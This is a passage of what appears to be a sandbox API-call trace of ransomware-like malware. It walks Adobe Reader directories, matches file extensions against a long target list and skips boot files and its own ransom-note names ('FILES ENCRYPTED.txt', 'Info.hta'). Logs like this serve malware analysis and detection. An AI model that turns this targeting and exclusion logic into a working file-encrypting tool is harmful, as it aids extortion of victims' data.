lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0267.141] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no") returned 106 [0267.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no") returned 1 [0267.141] lstrlenW (lpString="nb-no") returned 5 [0267.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nb-no") returned -1 [0267.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0267.141] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no") returned 106 [0267.141] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0267.141] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.142] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.142] lstrlenW (lpString="ui-strings.js") returned 13 [0267.142] lstrlenW (lpString=".1cd") returned 4 [0267.142] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.142] lstrlenW (lpString=".3ds") returned 4 [0267.142] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.142] lstrlenW (lpString=".3fr") returned 4 [0267.142] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.142] lstrlenW (lpString=".3g2") returned 4 [0267.142] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.142] lstrlenW (lpString=".3gp") returned 4 [0267.142] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.142] lstrlenW (lpString=".7z") returned 3 [0267.142] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.142] lstrlenW (lpString=".accda") returned 6 [0267.142] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.142] lstrlenW (lpString=".accdb") returned 6 [0267.142] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.142] lstrlenW (lpString=".accdc") returned 6 [0267.143] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.143] lstrlenW (lpString=".accde") returned 6 [0267.143] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.143] lstrlenW (lpString=".accdt") returned 6 [0267.143] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.143] lstrlenW (lpString=".accdw") returned 6 [0267.143] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.143] lstrlenW (lpString=".adb") returned 4 [0267.143] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.143] lstrlenW (lpString=".adp") returned 4 [0267.143] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.143] lstrlenW (lpString=".ai") returned 3 [0267.143] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.143] lstrlenW (lpString=".ai3") returned 4 [0267.143] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.143] lstrlenW (lpString=".ai4") returned 4 [0267.143] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.143] lstrlenW (lpString=".ai5") returned 4 [0267.143] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.143] lstrlenW (lpString=".ai6") returned 4 [0267.144] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".ai7") returned 4 [0267.144] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".ai8") returned 4 [0267.144] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".anim") returned 5 [0267.144] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.144] lstrlenW (lpString=".arw") returned 4 [0267.144] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".as") returned 3 [0267.144] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.144] lstrlenW (lpString=".asa") returned 4 [0267.144] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".asc") returned 4 [0267.144] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".ascx") returned 5 [0267.144] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.144] lstrlenW (lpString=".asm") returned 4 [0267.144] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.144] lstrlenW (lpString=".asmx") returned 5 [0267.144] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.145] lstrlenW (lpString=".asp") returned 4 [0267.145] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".aspx") returned 5 [0267.145] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.145] lstrlenW (lpString=".asr") returned 4 [0267.145] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".asx") returned 4 [0267.145] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".avi") returned 4 [0267.145] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".avs") returned 4 [0267.145] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".backup") returned 7 [0267.145] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.145] lstrlenW (lpString=".bak") returned 4 [0267.145] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".bay") returned 4 [0267.145] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".bd") returned 3 [0267.145] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.145] lstrlenW (lpString=".bin") returned 4 [0267.145] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.145] lstrlenW (lpString=".bmp") returned 4 [0267.145] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.146] lstrlenW (lpString=".bz2") returned 4 [0267.146] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.146] lstrlenW (lpString=".c") returned 2 [0267.146] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.146] lstrlenW (lpString=".cdr") returned 4 [0267.146] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.146] lstrlenW (lpString=".cer") returned 4 [0267.146] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.146] lstrlenW (lpString=".cf") returned 3 [0267.146] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.146] lstrlenW (lpString=".cfc") returned 4 [0267.146] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.146] lstrlenW (lpString=".cfm") returned 4 [0267.146] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.146] lstrlenW (lpString=".cfml") returned 5 [0267.146] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.146] lstrlenW (lpString=".cfu") returned 4 [0267.147] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".chm") returned 4 [0267.147] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".cin") returned 4 [0267.147] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".class") returned 6 [0267.147] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.147] lstrlenW (lpString=".clx") returned 4 [0267.147] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".config") returned 7 [0267.147] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.147] lstrlenW (lpString=".cpp") returned 4 [0267.147] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".cr2") returned 4 [0267.147] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".crt") returned 4 [0267.147] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".crw") returned 4 [0267.147] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.147] lstrlenW (lpString=".cs") returned 3 [0267.147] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.148] lstrlenW (lpString=".css") returned 4 [0267.148] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".csv") returned 4 [0267.148] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".cub") returned 4 [0267.148] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".dae") returned 4 [0267.148] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".dat") returned 4 [0267.148] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".db") returned 3 [0267.148] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.148] lstrlenW (lpString=".dbf") returned 4 [0267.148] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".dbx") returned 4 [0267.148] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".dc3") returned 4 [0267.148] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".dcm") returned 4 [0267.148] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.148] lstrlenW (lpString=".dcr") returned 4 [0267.148] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".der") returned 4 [0267.149] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".dib") returned 4 [0267.149] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".dic") returned 4 [0267.149] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".dif") returned 4 [0267.149] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".divx") returned 5 [0267.149] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.149] lstrlenW (lpString=".djvu") returned 5 [0267.149] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.149] lstrlenW (lpString=".dng") returned 4 [0267.149] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".doc") returned 4 [0267.149] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.149] lstrlenW (lpString=".docm") returned 5 [0267.149] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.149] lstrlenW (lpString=".docx") returned 5 [0267.149] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.149] lstrlenW (lpString=".dot") returned 4 [0267.149] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dotm") returned 5 [0267.150] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.150] lstrlenW (lpString=".dotx") returned 5 [0267.150] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.150] lstrlenW (lpString=".dpx") returned 4 [0267.150] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dqy") returned 4 [0267.150] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dsn") returned 4 [0267.150] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dt") returned 3 [0267.150] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.150] lstrlenW (lpString=".dtd") returned 4 [0267.150] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dwg") returned 4 [0267.150] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dwt") returned 4 [0267.150] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.150] lstrlenW (lpString=".dx") returned 3 [0267.150] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.151] lstrlenW (lpString=".dxf") returned 4 [0267.151] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".edml") returned 5 [0267.151] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.151] lstrlenW (lpString=".efd") returned 4 [0267.151] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".elf") returned 4 [0267.151] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".emf") returned 4 [0267.151] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".emz") returned 4 [0267.151] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".epf") returned 4 [0267.151] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".eps") returned 4 [0267.151] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.151] lstrlenW (lpString=".epsf") returned 5 [0267.151] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.151] lstrlenW (lpString=".epsp") returned 5 [0267.152] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.152] lstrlenW (lpString=".erf") returned 4 [0267.152] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".exr") returned 4 [0267.152] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".f4v") returned 4 [0267.152] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".fido") returned 5 [0267.152] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0267.152] lstrlenW (lpString=".flm") returned 4 [0267.152] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".flv") returned 4 [0267.152] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".frm") returned 4 [0267.152] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".fxg") returned 4 [0267.152] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".geo") returned 4 [0267.152] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0267.152] lstrlenW (lpString=".gif") returned 4 [0267.152] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".grs") returned 4 [0267.153] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".gz") returned 3 [0267.153] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0267.153] lstrlenW (lpString=".h") returned 2 [0267.153] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0267.153] lstrlenW (lpString=".hdr") returned 4 [0267.153] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".hpp") returned 4 [0267.153] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".hta") returned 4 [0267.153] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".htc") returned 4 [0267.153] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".htm") returned 4 [0267.153] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".html") returned 5 [0267.153] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0267.153] lstrlenW (lpString=".icb") returned 4 [0267.153] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0267.153] lstrlenW (lpString=".ics") returned 4 [0267.153] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".iff") returned 4 [0267.154] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".inc") returned 4 [0267.154] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".indd") returned 5 [0267.154] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0267.154] lstrlenW (lpString=".ini") returned 4 [0267.154] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".iqy") returned 4 [0267.154] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".j2c") returned 4 [0267.154] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".j2k") returned 4 [0267.154] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".java") returned 5 [0267.154] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0267.154] lstrlenW (lpString=".jp2") returned 4 [0267.154] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".jpc") returned 4 [0267.154] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".jpe") returned 4 [0267.154] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0267.154] lstrlenW (lpString=".jpeg") returned 5 [0267.155] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0267.155] lstrlenW (lpString=".jpf") returned 4 [0267.155] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0267.155] lstrlenW (lpString=".jpg") returned 4 [0267.155] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0267.155] lstrlenW (lpString=".jpx") returned 4 [0267.155] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0267.155] lstrlenW (lpString=".js") returned 3 [0267.155] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.155] lstrlenW (lpString="ui-strings.js") returned 13 [0267.155] lstrlenW (lpString=".love$") returned 6 [0267.155] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0267.155] lstrlenW (lpString="ui-strings.js") returned 13 [0267.155] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0267.155] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0267.155] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js") returned 120 [0267.156] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.156] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0267.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0267.156] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0267.156] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl") returned 106 [0267.156] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl") returned 1 [0267.156] lstrlenW (lpString="nl-nl") returned 5 [0267.156] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nl-nl") returned -1 [0267.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0267.156] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl") returned 106 [0267.156] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0267.157] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.157] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.157] lstrlenW (lpString="ui-strings.js") returned 13 [0267.157] lstrlenW (lpString=".1cd") returned 4 [0267.157] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.157] lstrlenW (lpString=".3ds") returned 4 [0267.157] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.157] lstrlenW (lpString=".3fr") returned 4 [0267.157] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.157] lstrlenW (lpString=".3g2") returned 4 [0267.157] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.157] lstrlenW (lpString=".3gp") returned 4 [0267.157] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.157] lstrlenW (lpString=".7z") returned 3 [0267.157] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.157] lstrlenW (lpString=".accda") returned 6 [0267.157] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.158] lstrlenW (lpString=".accdb") returned 6 [0267.158] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.158] lstrlenW (lpString=".accdc") returned 6 [0267.158] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.158] lstrlenW (lpString=".accde") returned 6 [0267.158] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.158] lstrlenW (lpString=".accdt") returned 6 [0267.158] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.158] lstrlenW (lpString=".accdw") returned 6 [0267.158] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.158] lstrlenW (lpString=".adb") returned 4 [0267.158] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.158] lstrlenW (lpString=".adp") returned 4 [0267.158] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.158] lstrlenW (lpString=".ai") returned 3 [0267.158] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.158] lstrlenW (lpString=".ai3") returned 4 [0267.158] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.158] lstrlenW (lpString=".ai4") returned 4 [0267.158] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.158] lstrlenW (lpString=".ai5") returned 4 [0267.158] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.158] lstrlenW (lpString=".ai6") returned 4 [0267.159] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".ai7") returned 4 [0267.159] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".ai8") returned 4 [0267.159] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.159] lstrlenW (lpString=".anim") returned 5 [0267.159] lstrcmpiW 